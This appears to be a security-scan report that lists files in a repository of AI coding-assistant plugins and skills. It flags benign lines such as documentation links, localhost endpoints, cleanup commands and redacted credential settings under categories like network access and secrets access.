harness/claude-code/plugins/phoenix/skills/phoenix-cli/SKILL.md
- Access to secretsline 36
[Credential-related source omitted] - Network accessline 81
export PHOENIX_HOST=http://localhost:6006 - Access to secretsline 83
[Credential-related source omitted] - Network accessline 129
px auth status # check connection and authentication px auth status --endpoint http://other:6006 # check a specific endpoint - Network accessline 130
px auth status --endpoint http://other:6006 # check a specific endpoint - Network accessline 142
px profile show # show the active profile's settings px profile show staging # show a named profile's settings px profile create prod --endpoint https://app.phoenix.arize.com --api-key <key> - Network accessline 143
px profile show staging # show a named profile's settings px profile create prod --endpoint https://app.phoenix.arize.com --api-key <key> --activate px profile create local --endpoint http://localhost:6006 --project my- - Network accessline 144
px profile create prod --endpoint https://app.phoenix.arize.com --api-key <key> --activate - Network accessline 145
px profile create local --endpoint http://localhost:6006 --project my-app - Network accessline 394
- [Phoenix application](https://app.phoenix.arize.com)
harness/claude-code/plugins/phoenix/skills/phoenix-cli/references/axial-coding.md
- Dangerous shell operationline 165
rm -f "$NOTES_SIDECAR" "$AXIAL_SIDECAR"
harness/claude-code/plugins/phoenix/skills/phoenix-cli/references/open-coding.md
- Dangerous shell operationline 239
rm -f "$SIDECAR" ".px/coding/${SLUG}-axial.jsonl"
harness/claude-code/plugins/phoenix/skills/phoenix-evals/references/common-mistakes-python.md
- Network accessline 72
# WRONG client = Client(endpoint="https://app.phoenix.arize.com") - Network accessline 73
client = Client(endpoint="https://app.phoenix.arize.com") - Network accessline 74
client = Client(url="https://app.phoenix.arize.com") - Network accessline 76
[Credential-related source omitted] - Network accessline 77
[Credential-related source omitted] - Access to secretsline 77
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted]
harness/claude-code/plugins/phoenix/skills/phoenix-evals/references/error-analysis.md
harness/claude-code/plugins/phoenix/skills/phoenix-evals/references/observe-tracing-setup.md
harness/claude-code/plugins/phoenix/skills/phoenix-tracing/README.md
- Network accessline 20
- [OpenInference Spec](https://github.com/Arize-ai/openinference/tree/main/spec) - Network accessline 21
- [Phoenix Documentation](https://docs.arize.com/phoenix) - Network accessline 22
- [Python OTEL API](https://arize.com/docs/phoenix/tracing/how-to-tracing/setup-tracing) - Network accessline 23
- [Python Client API](https://arize.com/docs/phoenix) - Network accessline 24
- [TypeScript API](https://arize-ai.github.io/phoenix/)
harness/claude-code/plugins/phoenix/skills/phoenix-tracing/SKILL.md
- Network accessline 141
- [Phoenix Documentation](https://docs.arize.com/phoenix) - Network accessline 142
- [OpenInference Spec](https://github.com/Arize-ai/openinference/tree/main/spec) - Network accessline 143
- [Python OTEL Package](https://arize.com/docs/phoenix/tracing/how-to-tracing/setup-tracing) - Network accessline 144
- [Python Client Package](https://arize.com/docs/phoenix) - Network accessline 145
- [TypeScript Packages](https://arize-ai.github.io/phoenix/)
harness/claude-code/plugins/phoenix/skills/phoenix-tracing/references/annotations-python.md
harness/claude-code/plugins/phoenix/skills/phoenix-tracing/references/annotations-typescript.md
- Network accessline 8
import { createClient } from "@arizeai/phoenix-client"; const client = createClient(); // Default: http://localhost:6006 - Network accessline 9
const client = createClient(); // Default: http://localhost:6006 - Network accessline 173
- [TypeScript Client API](https://arize-ai.github.io/phoenix/)
harness/claude-code/plugins/phoenix/skills/phoenix-tracing/references/instrumentation-manual-python.md
- Network accessline 47
@tracer.tool def get_weather(city: str) -> str: response = requests.get(f"https://api.weather.com/{city}") - Network accessline 48
def get_weather(city: str) -> str: response = requests.get(f"https://api.weather.com/{city}") return response.json()["weather"] - Network accessline 49
response = requests.get(f"https://api.weather.com/{city}") - Network accessline 180
- **Span attributes:** `span-chain.md`, `span-retriever.md`, `span-tool.md`, `span-llm.md`, `span-agent.md`, `span-embedding.md`, `span-reranker.md`, `span-guardrail.md`, `span-evaluator.md` - **Auto-instrumentation:** `instrumentation-auto - Network accessline 182
- **API docs:** https://arize.com/docs/phoenix/tracing/how-to-tracing
harness/claude-code/plugins/phoenix/skills/phoenix-tracing/references/instrumentation-manual-typescript.md
- Network accessline 53
// TOOL - function calls const getWeather = traceTool( async (city: string) => fetch(`/api/weather/${city}`).then(r => r.json()), - Network accessline 54
const getWeather = traceTool( async (city: string) => fetch(`/api/weather/${city}`).then(r => r.json()), { name: "get-weather" } - Network accessline 55
async (city: string) => fetch(`/api/weather/${city}`).then(r => r.json()), - Network accessline 170
- **Span attributes:** `span-chain.md`, `span-retriever.md`, `span-tool.md`, etc. - **Attribute helpers:** https://arize.com/docs/phoenix/tracing/how-to-tracing#manual-instrumentation - Network accessline 171
- **Attribute helpers:** https://arize.com/docs/phoenix/tracing/how-to-tracing#manual-instrumentation
harness/claude-code/plugins/phoenix/skills/phoenix-tracing/references/projects-python.md
- Access to secretsline 21
[Credential-related source omitted]
harness/claude-code/plugins/phoenix/skills/phoenix-tracing/references/sessions-python.md
harness/claude-code/plugins/phoenix/skills/phoenix-tracing/references/sessions-typescript.md
- Network accessline 23
register({ projectName: "your-app", url: process.env.PHOENIX_COLLECTOR_ENDPOINT || "http://localhost:6006", - Network accessline 24
[Credential-related source omitted] - Network accessline 25
url: process.env.PHOENIX_COLLECTOR_ENDPOINT || "http://localhost:6006", - Access to secretsline 26
[Credential-related source omitted] - Network accessline 95
# Get all traces for a session npx @arizeai/phoenix-cli traces \ --endpoint http://localhost:6006 \ - Network accessline 96
npx @arizeai/phoenix-cli traces --endpoint http://localhost:6006 - Network accessline 97
--endpoint http://localhost:6006 \
harness/claude-code/plugins/phoenix/skills/phoenix-tracing/references/setup-python.md
- Network accessline 19
**Connects to `http://localhost:6006`, auto-instruments all supported libraries.** - Network accessline 34
[Credential-related source omitted] - Access to secretsline 34
[Credential-related source omitted] - Network accessline 35
export PHOENIX_COLLECTOR_ENDPOINT="http://localhost:6006" # Or Cloud URL - Network accessline 44
tracer_provider = register( project_name="my-app", # Project name endpoint="http://localhost:6006", # Phoenix endpoint - Network accessline 45
project_name="my-app", # Project name endpoint="http://localhost:6006", # Phoenix endpoint auto_instrument=True, # Auto-instrument supported libs - Network accessline 46
endpoint="http://localhost:6006", # Phoenix endpoint - Network accessline 89
**Link:** https://opentelemetry.io/docs/specs/otel/configuration/sdk-environment-variables/ - Network accessline 93
1. Open Phoenix UI: `http://localhost:6006` - Access to secretsline 103
[Credential-related source omitted] - Network accessline 130
- [Python OTEL API Docs](https://arize.com/docs/phoenix/tracing/how-to-tracing/setup-tracing) - Network accessline 131
- [Python Client API Docs](https://arize.com/docs/phoenix)
harness/claude-code/plugins/phoenix/skills/phoenix-tracing/references/setup-typescript.md
- Network accessline 23
Connects to `http://localhost:6006` by default. - Network accessline 30
register({ projectName: "my-app", url: "http://localhost:6006", - Network accessline 31
[Credential-related source omitted] - Network accessline 32
url: "http://localhost:6006", - Access to secretsline 33
[Credential-related source omitted] - Network accessline 41
[Credential-related source omitted] - Access to secretsline 41
[Credential-related source omitted] - Network accessline 42
export PHOENIX_COLLECTOR_ENDPOINT="http://localhost:6006" - Network accessline 135
1. Open Phoenix UI: `http://localhost:6006` - Access to secretsline 154
[Credential-related source omitted] - Network accessline 168
- **Auto-instrumentation:** `instrumentation-auto-typescript.md` - **Manual instrumentation:** `instrumentation-manual-typescript.md` - **API docs:** https://arize-ai.github.io/phoenix/ - Network accessline 170
- **API docs:** https://arize-ai.github.io/phoenix/
harness/claude-code/plugins/phoenix/skills/phoenix-tracing/references/span-llm.md
- Network accessline 78
- **Instrumentation:** `instrumentation-auto-python.md`, `instrumentation-manual-python.md` - **Full spec:** https://github.com/Arize-ai/openinference/blob/main/spec/semantic_conventions.md - Network accessline 79
- **Full spec:** https://github.com/Arize-ai/openinference/blob/main/spec/semantic_conventions.md
harness/claude-code/plugins/phoenix/skills/phoenix-tracing/references/span-retriever.md
harness/claude-code/plugins/php-mcp-development/.claude-plugin/plugin.json
harness/claude-code/plugins/php-mcp-development/skills/php-mcp-server-generator/references/templates-and-development.md
harness/claude-code/plugins/platform-vendor-expertise/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/platform-vendor-expertise/skills/shopify-review-triage/SKILL.md
- Network accessline 13
scripts, API keys, or system packages. Portable to any client that supports the Agent Skills SKILL.md format. source: "https://alfredtech2026.github.io/shopify-app-review-brief/guides/shopify-app-review-triage.html" - Network accessline 14
SKILL.md format. source: "https://alfredtech2026.github.io/shopify-app-review-brief/guides/shopify-app-review-triage.html" version: "'1.0'" - Network accessline 15
source: "https://alfredtech2026.github.io/shopify-app-review-brief/guides/shopify-app-review-triage.html" - Network accessline 164
- [Public Shopify review triage guide](https://alfredtech2026.github.io/shopify-app-review-brief/guides/shopify-app-review-triage.html)
harness/claude-code/plugins/power-apps-code-apps/.claude-plugin/plugin.json
harness/claude-code/plugins/power-apps-code-apps/skills/power-apps-code-app-scaffold/SKILL.md
- Network accessline 184
- Official samples: https://github.com/microsoft/PowerAppsCodeApps, see current docs before coding.
harness/claude-code/plugins/power-bi-development/.claude-plugin/plugin.json
harness/claude-code/plugins/power-platform-architect/.claude-plugin/plugin.json
harness/claude-code/plugins/power-platform-architect/skills/power-platform-architect/SKILL.md
- Network accessline 39
| AI extraction or prediction | **AI Builder** | OCR, sentiment analysis, prediction, document extraction, invoice/receipt/ID/business card processing, classification, entity extraction, key phrase extraction, language detection, text trans - Network accessline 40
| Enterprise data | **Dataverse** | Tables, columns, relationships, rich text, JSON, file/image storage, RBAC, security roles, business units, row-level security, column-level security, team sharing, elastic tables, auditing, versioning, an - Network accessline 41
| Integrations | **Connectors and Custom Connectors** | Use standard connectors when available; wrap a REST API as a Custom Connector when the target system is absent from https://learn.microsoft.com/en-us/connectors/connector-reference/con - Network accessline 67
6. Write the architecture as a business process story that includes human users and audience labels such as "vendors", "property owners", "audit team", or named business teams. 7. If the user asks for a diagram, generate a simple Mermaid.js - Network accessline 69
8. Tell the user the file was saved and instruct them to open https://mermaid.ai/live/edit, copy the file contents into the Code pane, and report any syntax issue for correction. - Network accessline 127
- `high-level` - `high-volume` - `https://mermaid.ai/live/edit` - Network accessline 128
- `high-volume` - `https://mermaid.ai/live/edit` - `industry-specific` - Network accessline 129
- `https://mermaid.ai/live/edit` - Network accessline 165
### Optional diagram **Diagram file:** `<file.md>` | not requested **Mermaid editor:** https://mermaid.ai/live/edit - Network accessline 167
**Mermaid editor:** https://mermaid.ai/live/edit - Network accessline 181
- [Power Automate connector reference](https://learn.microsoft.com/en-us/connectors/connector-reference/connector-reference-powerautomate-connectors) - Network accessline 182
- [Mermaid Live Editor](https://mermaid.ai/live/edit)
harness/claude-code/plugins/power-platform-mcp-connector-development/.claude-plugin/plugin.json
harness/claude-code/plugins/pr-artifact-explorer/.claude-plugin/plugin.json
harness/claude-code/plugins/project-documenter/.claude-plugin/plugin.json
harness/claude-code/plugins/project-documenter/skills/drawio/scripts/drawio-to-png.mjs
harness/claude-code/plugins/project-documenter/skills/drawio/scripts/package.json
- Executable scriptline 1
Executable file
harness/claude-code/plugins/project-documenter/skills/md-to-docx/scripts/md-to-docx.mjs
- Executable scriptline 1
Executable file
harness/claude-code/plugins/project-documenter/skills/md-to-docx/scripts/package.json
- Executable scriptline 1
Executable file
harness/claude-code/plugins/project-planning/.claude-plugin/plugin.json
harness/claude-code/plugins/project-planning/skills/create-implementation-plan/SKILL.md
- Network accessline 62
The frontmatter `status` must be exactly one of `Completed`, `In progress`, `Planned`, `Deprecated`, or `On Hold`. The introduction must show a shields badge using `https://img.shields.io/badge/status-<status>-<status_color>`, where status - Network accessline 79

harness/claude-code/plugins/project-planning/skills/update-implementation-plan/SKILL.md
harness/claude-code/plugins/python-mcp-development/.claude-plugin/plugin.json
harness/claude-code/plugins/python-mcp-development/skills/python-mcp-server-generator/SKILL.md
- Network accessline 56
For HTTP testing, connect clients to `http://localhost:PORT/mcp`. - Network accessline 101
| Run MCP Inspector | `uv run mcp dev server.py` | | Install to Claude Desktop | `uv run mcp install server.py` | | Run HTTP server | `python server.py`, then connect to `http://localhost:PORT/mcp` | - Network accessline 103
| Run HTTP server | `python server.py`, then connect to `http://localhost:PORT/mcp` |
harness/claude-code/plugins/qdrant-development/.claude-plugin/plugin.json
- Network accessline 6
"name": "Copilot Primitives Maintainers" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/qdrant-development/skills/qdrant-clients-sdk/SKILL.md
- Broad permissionsline 1
Read, Grep, Glob, Bash - Network accessline 26
| Language | Official SDK | Install command or source | | --- | --- | --- | | Python | `qdrant-client` | `pip install qdrant-client[fastembed]` from `https://github.com/qdrant/qdrant-client` | - Network accessline 27
| --- | --- | --- | | Python | `qdrant-client` | `pip install qdrant-client[fastembed]` from `https://github.com/qdrant/qdrant-client` | | JavaScript / TypeScript | `qdrant-js` | `npm install @qdrant/js-client-rest` from `https://github.com - Network accessline 28
| Python | `qdrant-client` | `pip install qdrant-client[fastembed]` from `https://github.com/qdrant/qdrant-client` | - Network accessline 29
| JavaScript / TypeScript | `qdrant-js` | `npm install @qdrant/js-client-rest` from `https://github.com/qdrant/qdrant-js` | - Network accessline 30
| Rust | `rust-client` | `cargo add qdrant-client` from `https://github.com/qdrant/rust-client` | - Network accessline 31
| Go | `go-client` | `go get github.com/qdrant/go-client` from `https://github.com/qdrant/go-client` | - Network accessline 32
| .NET | `qdrant-dotnet` | `dotnet add package Qdrant.Client` from `https://github.com/qdrant/qdrant-dotnet` | - Network accessline 33
| Java | `java-client` | Maven Central artifact `io.qdrant/client` at `https://central.sonatype.com/artifact/io.qdrant/client` and source `https://github.com/qdrant/java-client` | - Network accessline 37
| Surface | Use when | Reference | | --- | --- | --- | | REST API | You are new to Qdrant, prototyping, debugging with HTTP, or need OpenAPI-generated clients. | OpenAPI Reference `https://api.qdrant.tech/api-reference`; OpenAPI JSON `https - Network accessline 38
| --- | --- | --- | | REST API | You are new to Qdrant, prototyping, debugging with HTTP, or need OpenAPI-generated clients. | OpenAPI Reference `https://api.qdrant.tech/api-reference`; OpenAPI JSON `https://github.com/qdrant/qdrant/blob/ma - Network accessline 39
| REST API | You are new to Qdrant, prototyping, debugging with HTTP, or need OpenAPI-generated clients. | OpenAPI Reference `https://api.qdrant.tech/api-reference`; OpenAPI JSON `https://github.com/qdrant/qdrant/blob/master/docs/redoc/mast - Network accessline 40
| gRPC API | You need lower overhead, streaming-friendly integrations, or native generated protobuf clients. | gRPC protobuf definitions `https://github.com/qdrant/qdrant/tree/master/lib/api/src/grpc/proto` | - Network accessline 41
| Curated snippets | You need operation-level examples before writing code. | `https://snippets.qdrant.tech/search?language=python&query=how+to+upload+points` | - Network accessline 45
1. Choose one supported snippet language: `python`, `typescript`, `rust`, `java`, `go`, or `csharp`. 2. Convert the user's intent into a concise query such as `how to upload points`, `hybrid search`, or `filter by payload`. 3. Fetch snippet - Network accessline 46
2. Convert the user's intent into a concise query such as `how to upload points`, `hybrid search`, or `filter by payload`. 3. Fetch snippets with `curl -X GET "https://snippets.qdrant.tech/search?language=<language>&query=<url-encoded-query - Network accessline 47
3. Fetch snippets with `curl -X GET "https://snippets.qdrant.tech/search?language=<language>&query=<url-encoded-query>"`. - Network accessline 62
| Reliability flags | `parallel=4`, `max_retries=3` | Mention when preserving robust indexing behavior. | | Idempotency | Re-uploading and re-uploading the same `id` overwrites existing points. | If ids are omitted, Qdrant auto-generates UU - Network accessline 64
| Documentation source | `https://qdrant.tech/documentation/manage-data/points/` | Cite when discussing point management. | - Network accessline 93
- [Qdrant Python client](https://github.com/qdrant/qdrant-client) - Network accessline 94
- [Qdrant JavaScript/TypeScript client](https://github.com/qdrant/qdrant-js) - Network accessline 95
- [Qdrant Rust client](https://github.com/qdrant/rust-client) - Network accessline 96
- [Qdrant Go client](https://github.com/qdrant/go-client) - Network accessline 97
- [Qdrant .NET client](https://github.com/qdrant/qdrant-dotnet) - Network accessline 98
- [Qdrant Java client](https://github.com/qdrant/java-client) - Network accessline 99
- [Qdrant Java Maven Central artifact](https://central.sonatype.com/artifact/io.qdrant/client) - Network accessline 100
- [Qdrant REST OpenAPI Reference](https://api.qdrant.tech/api-reference) - Network accessline 101
- [Qdrant OpenAPI JSON](https://github.com/qdrant/qdrant/blob/master/docs/redoc/master/openapi.json) - Network accessline 102
- [Qdrant gRPC protobuf definitions](https://github.com/qdrant/qdrant/tree/master/lib/api/src/grpc/proto) - Network accessline 103
- [Qdrant snippet search example](https://snippets.qdrant.tech/search?language=python&query=how+to+upload+points) - Network accessline 104
- [Qdrant point management](https://qdrant.tech/documentation/manage-data/points/)
harness/claude-code/plugins/qdrant-development/skills/qdrant-deployment-options/SKILL.md
- Network accessline 102
- [Qdrant local mode quickstart](https://qdrant.tech/documentation/quickstart/) - [Qdrant Docker quick start](https://qdrant.tech/documentation/quickstart/?s=download-and-run) - Network accessline 103
- [Qdrant Docker quick start](https://qdrant.tech/documentation/quickstart/?s=download-and-run) - Network accessline 104
- [Distributed deployment](https://qdrant.tech/documentation/operations/distributed_deployment/) - Network accessline 105
- [Qdrant Cloud](https://qdrant.tech/documentation/cloud-quickstart/) - Network accessline 106
- [Hybrid Cloud](https://qdrant.tech/documentation/hybrid-cloud/) - Network accessline 107
- [Qdrant EDGE](https://qdrant.tech/documentation/edge/edge-quickstart/)
harness/claude-code/plugins/qdrant-development/skills/qdrant-model-migration/SKILL.md
- Network accessline 129
- [Collection aliases](https://qdrant.tech/documentation/manage-data/collections/?s=collection-aliases) - Network accessline 130
- [Switch collection](https://qdrant.tech/documentation/manage-data/collections/?s=switch-collection) - Network accessline 131
- [Collection with multiple vectors](https://qdrant.tech/documentation/manage-data/collections/?s=collection-with-multiple-vectors) - Network accessline 132
- [Update vectors](https://qdrant.tech/documentation/manage-data/points/?s=update-vectors) - Network accessline 133
- [Update mode](https://qdrant.tech/documentation/manage-data/points/?s=update-mode) - Network accessline 134
- [Quantization](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 135
- [Bulk upload](https://qdrant.tech/documentation/tutorials-develop/bulk-upload/) - Network accessline 136
- [Inference docs](https://qdrant.tech/documentation/inference/)
harness/claude-code/plugins/qdrant-development/skills/qdrant-monitoring/SKILL.md
- Network accessline 34
Understand available metrics through the Qdrant monitoring documentation at https://qdrant.tech/documentation/operations/monitoring/. - Network accessline 34
Understand available metrics through the Qdrant monitoring documentation at https://qdrant.tech/documentation/operations/monitoring/. - Network accessline 99
- [Qdrant monitoring documentation](https://qdrant.tech/documentation/operations/monitoring/) - Network accessline 99
- [Qdrant monitoring documentation](https://qdrant.tech/documentation/operations/monitoring/)
harness/claude-code/plugins/qdrant-development/skills/qdrant-monitoring/debugging/SKILL.md
- Network accessline 15
- Use `/collections/{collection_name}/optimizations` endpoint (v1.17+) to check status [Optimization monitoring](https://qdrant.tech/documentation/operations/optimizer/?s=optimization-monitoring) - Network accessline 16
- Query with optional detail flags: `?with=queued,completed,idle_segments` - Returns: queued optimizations count, active optimizer type, involved segments, progress tracking - Web UI has an Optimizations tab with timeline view and per-task - Network accessline 17
- Returns: queued optimizations count, active optimizer type, involved segments, progress tracking - Web UI has an Optimizations tab with timeline view and per-task duration metrics [Web UI](https://qdrant.tech/documentation/operations/opti - Network accessline 18
- Web UI has an Optimizations tab with timeline view and per-task duration metrics [Web UI](https://qdrant.tech/documentation/operations/optimizer/?s=web-ui) - Network accessline 27
- Process memory metrics available via `/metrics` (RSS, allocated bytes, page faults) - Qdrant uses two types of RAM: resident memory (data structures, quantized vectors) and OS page cache (cached disk reads). Page cache filling available R - Network accessline 28
- Qdrant uses two types of RAM: resident memory (data structures, quantized vectors) and OS page cache (cached disk reads). Page cache filling available RAM is normal. [Memory article](https://qdrant.tech/articles/memory-consumption/) - Network accessline 29
- If resident memory (RSSAnon) exceeds 80% of total RAM, investigate - Check `/telemetry` for per-collection breakdown of point counts and vector configurations - Estimate expected memory: `num_vectors * dimensions * 4 bytes * 1.5` for vect - Network accessline 30
- Check `/telemetry` for per-collection breakdown of point counts and vector configurations - Estimate expected memory: `num_vectors * dimensions * 4 bytes * 1.5` for vectors, plus payload and index overhead [Capacity planning](https://qdra - Network accessline 31
- Estimate expected memory: `num_vectors * dimensions * 4 bytes * 1.5` for vectors, plus payload and index overhead [Capacity planning](https://qdrant.tech/documentation/operations/capacity-planning/) - Network accessline 42
- Check optimizer status first. Active optimizations compete for CPU and I/O, degrading search latency. - Check segment count via collection info. Too many unmerged segments after bulk upload causes slower search. - Compare filtered vs unfi - Network accessline 44
- Compare filtered vs unfiltered query times. Large gap means missing payload index. [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index)
harness/claude-code/plugins/qdrant-development/skills/qdrant-monitoring/setup/SKILL.md
- Network accessline 15
- Node metrics at `/metrics` endpoint [Monitoring docs](https://qdrant.tech/documentation/operations/monitoring/) - Network accessline 16
- Cluster metrics at `/sys_metrics` (Qdrant Cloud only) - Prefix customization via `service.metrics_prefix` config or `QDRANT__SERVICE__METRICS_PREFIX` env var - Example self-hosted setup with Prometheus + Grafana [prometheus-monitoring rep - Network accessline 18
- Example self-hosted setup with Prometheus + Grafana [prometheus-monitoring repo](https://github.com/qdrant/prometheus-monitoring) - Network accessline 27
- Hybrid Cloud Prometheus setup tutorial [Hybrid Cloud Prometheus](https://qdrant.tech/documentation/tutorials-and-examples/hybrid-cloud-prometheus/) - Network accessline 28
- Official Grafana dashboards [Grafana dashboard repo](https://github.com/qdrant/qdrant-cloud-grafana-dashboard) - Network accessline 35
- Use `/healthz`, `/livez`, `/readyz` for basic status, liveness, and readiness [Kubernetes health endpoints](https://qdrant.tech/documentation/operations/monitoring/?s=kubernetes-health-endpoints) - Network accessline 42
- Hybrid Cloud provides ~11 pre-configured Prometheus alerts out of the box [Cloud cluster monitoring](https://qdrant.tech/documentation/cloud/cluster-monitoring/) - Network accessline 51
- Enable JSON log format for structured analysis: set `logger.format` to `json` in config [Configuration](https://qdrant.tech/documentation/operations/configuration/) - Network accessline 53
- Audit logs (v1.17+) write to local filesystem (`/qdrant/storage/audit/`), not stdout. Mount a Persistent Volume and deploy a sidecar container to tail these files to stdout so DaemonSets can pick them up. [Audit logging](https://qdrant.te
harness/claude-code/plugins/qdrant-development/skills/qdrant-performance-optimization/indexing-performance-optimization/SKILL.md
- Network accessline 10
- Understand the indexing optimizer [Indexing optimizer](https://qdrant.tech/documentation/operations/optimizer/?s=indexing-optimizer) - Network accessline 20
- Use batch upserts (64-256 points per request) [Points API](https://qdrant.tech/documentation/manage-data/points/?s=upload-points) - Network accessline 25
- Create more shards (3-12), each shard has an independent update worker [Sharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=sharding) - Network accessline 26
- Create payload indexes before HNSW builds (needed for filterable vector index) [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index) - Network accessline 30
- Disable HNSW during bulk load (set `indexing_threshold_kb` very high, restore after) [Collection params](https://qdrant.tech/documentation/manage-data/collections/?s=update-collection-parameters) - Network accessline 35
See https://qdrant.tech/documentation/tutorials-develop/bulk-upload/ - Network accessline 42
- Check actual progress via optimizations endpoint (v1.17+) [Optimization monitoring](https://qdrant.tech/documentation/operations/optimizer/?s=optimization-monitoring) - Network accessline 52
- Reduce `m` (default 16, good for most cases, 32+ rarely needed) [HNSW params](https://qdrant.tech/documentation/manage-data/indexing/?s=vector-index) - Network accessline 53
- Reduce `ef_construct` (100-200 sufficient) [HNSW config](https://qdrant.tech/documentation/manage-data/collections/?s=indexing-vectors-in-hnsw) - Network accessline 54
- Keep `max_indexing_threads` proportional to CPU cores [Configuration](https://qdrant.tech/documentation/operations/configuration/) - Network accessline 55
- Use GPU for indexing [GPU indexing](https://qdrant.tech/documentation/operations/running-with-gpu/) - Network accessline 62
See [Multi-tenant collections](https://qdrant.tech/documentation/manage-data/multitenancy/) for details. - Network accessline 71
Read more about disabling extra HNSW links in [documentation](https://qdrant.tech/documentation/manage-data/indexing/?s=disable-the-creation-of-extra-edges-for-payload-fields) - Network accessline 73
Read more about ACORN in [documentation](https://qdrant.tech/documentation/search/search/?s=acorn-search-algorithm)
harness/claude-code/plugins/qdrant-development/skills/qdrant-performance-optimization/memory-usage-optimization/SKILL.md
- Network accessline 18
- Qdrant exposes memory usage through the `/metrics` endpoint. See [Monitoring docs](https://qdrant.tech/documentation/operations/monitoring/). - Network accessline 27
- For regular search scenarios, general guidelines are provided in the [Capacity planning docs](https://qdrant.tech/documentation/operations/capacity-planning/). - Network accessline 29
For a detailed breakdown of memory usage at large scale, see [Large scale memory usage example](https://qdrant.tech/documentation/tutorials-operations/large-scale-search/?s=memory-usage). - Network accessline 42
- Deployments with low latency disks - local NVMe or similar. - Multi-tenant deployments, where only a subset of tenants is frequently accessed, so that only a fraction of data & index is loaded in RAM at a time. - For deployments with [inl - Network accessline 44
- For deployments with [inline storage](https://qdrant.tech/documentation/operations/optimize/?s=inline-storage-in-hnsw-index) enabled. - Network accessline 52
- Use quantization to store only compressed vectors in RAM [Quantization docs](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 54
- Use float16 or int8 datatypes to reduce memory usage of vectors by 2x or 4x respectively, with some tradeoff in precision. Read more about vector datatypes in [documentation](https://qdrant.tech/documentation/manage-data/vectors/?s=dataty - Network accessline 56
- Leverage Matryoshka Representation Learning (MRL) to store only small vectors in RAM while keeping large vectors on disk. Examples of how to use MRL with Qdrant Cloud inference: [MRL docs](https://qdrant.tech/documentation/inference/?s=re - Network accessline 58
- For multi-tenant deployments with small tenants, vectors might be stored on disk because the same tenant's data is stored together [Multitenancy docs](https://qdrant.tech/documentation/manage-data/multitenancy/?s=calibrate-performance) - Network accessline 60
- For deployments with fast local storage and relatively low requirements for search throughput, it may be possible to store all components of vector store on disk. Read more about the performance implications of on-disk storage in [the art - Network accessline 62
- For low RAM environments, consider `async_scorer` config, which enables support of `io_uring` for parallel disk access, which can significantly improve performance of on-disk storage. Read more about `async_scorer` in [the article](https: - Network accessline 64
- Consider storing Sparse Vectors and text payload on disk, as they are usually more disk-friendly than dense vectors. - Configure payload indexes to be stored on disk [docs](https://qdrant.tech/documentation/manage-data/indexing/?s=on-disk - Network accessline 65
- Configure payload indexes to be stored on disk [docs](https://qdrant.tech/documentation/manage-data/indexing/?s=on-disk-payload-index) - Network accessline 66
- Configure sparse vectors to be stored on disk [docs](https://qdrant.tech/documentation/manage-data/indexing/?s=sparse-vector-index)
harness/claude-code/plugins/qdrant-development/skills/qdrant-performance-optimization/search-speed-optimization/SKILL.md
- Network accessline 28
- Tune HNSW parameters: [Fine-tuning search](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters) - Network accessline 29
- Enable in-memory quantization: [Scalar quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=scalar-quantization) - Network accessline 30
- Reduce Vector Dimensionality with Matryoshka Models: [Matryoshka Models](https://qdrant.tech/documentation/inference/?s=reduce-vector-dimensionality-with-matryoshka-models) - Network accessline 31
- Use oversampling + rescore for high-dimensional vectors [Search with quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=searching-with-quantization) - Network accessline 32
- Enable io_uring for disk-heavy workloads on Linux [io_uring](https://qdrant.tech/articles/io_uring/) - Network accessline 39
- Reduce segment count (`default_segment_number` to 2) [Maximizing throughput](https://qdrant.tech/documentation/operations/optimize/?s=maximizing-throughput) - Network accessline 40
- Use batch search API instead of single queries [Batch search](https://qdrant.tech/documentation/search/search/?s=batch-search-api) - Network accessline 41
- Enable quantization to reduce CPU cost [Scalar quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=scalar-quantization) - Network accessline 42
- Add replicas to distribute read load [Replication](https://qdrant.tech/documentation/operations/distributed_deployment/?s=replication) - Network accessline 49
- Create payload index on the filtered field [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index) - Network accessline 50
- Use `is_tenant=true` for primary filtering condition: [Tenant index](https://qdrant.tech/documentation/manage-data/indexing/?s=tenant-index) - Network accessline 51
- Try ACORN algorithm for complex filters: [ACORN](https://qdrant.tech/documentation/search/search/?s=acorn-search-algorithm) - Network accessline 68
Learn more [here](https://qdrant.tech/documentation/search/low-latency-search/?s=query-indexed-data-only)
harness/claude-code/plugins/qdrant-development/skills/qdrant-scaling/minimize-latency/SKILL.md
- Network accessline 14
- Increase segment count to match CPU cores (`default_segment_number: 16`) [Minimizing latency](https://qdrant.tech/documentation/operations/optimize/?s=minimizing-latency) - Network accessline 15
- Keep quantized vectors and HNSW in RAM (`always_ram=true`) - Reduce `hnsw_ef` at query time (trade recall for speed) [Search params](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters) - Use local NVMe, - Network accessline 16
- Reduce `hnsw_ef` at query time (trade recall for speed) [Search params](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters) - Network accessline 23
- Vertical scale RAM first. Critical if working set >80%. - Use quantization: scalar (4x reduction) or binary (16x reduction) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 24
- Use quantization: scalar (4x reduction) or binary (16x reduction) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 25
- Move payload indexes to disk if filtering is infrequent [On-disk payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=on-disk-payload-index)
harness/claude-code/plugins/qdrant-development/skills/qdrant-scaling/scaling-data-volume/horizontal-scaling/SKILL.md
- Network accessline 34
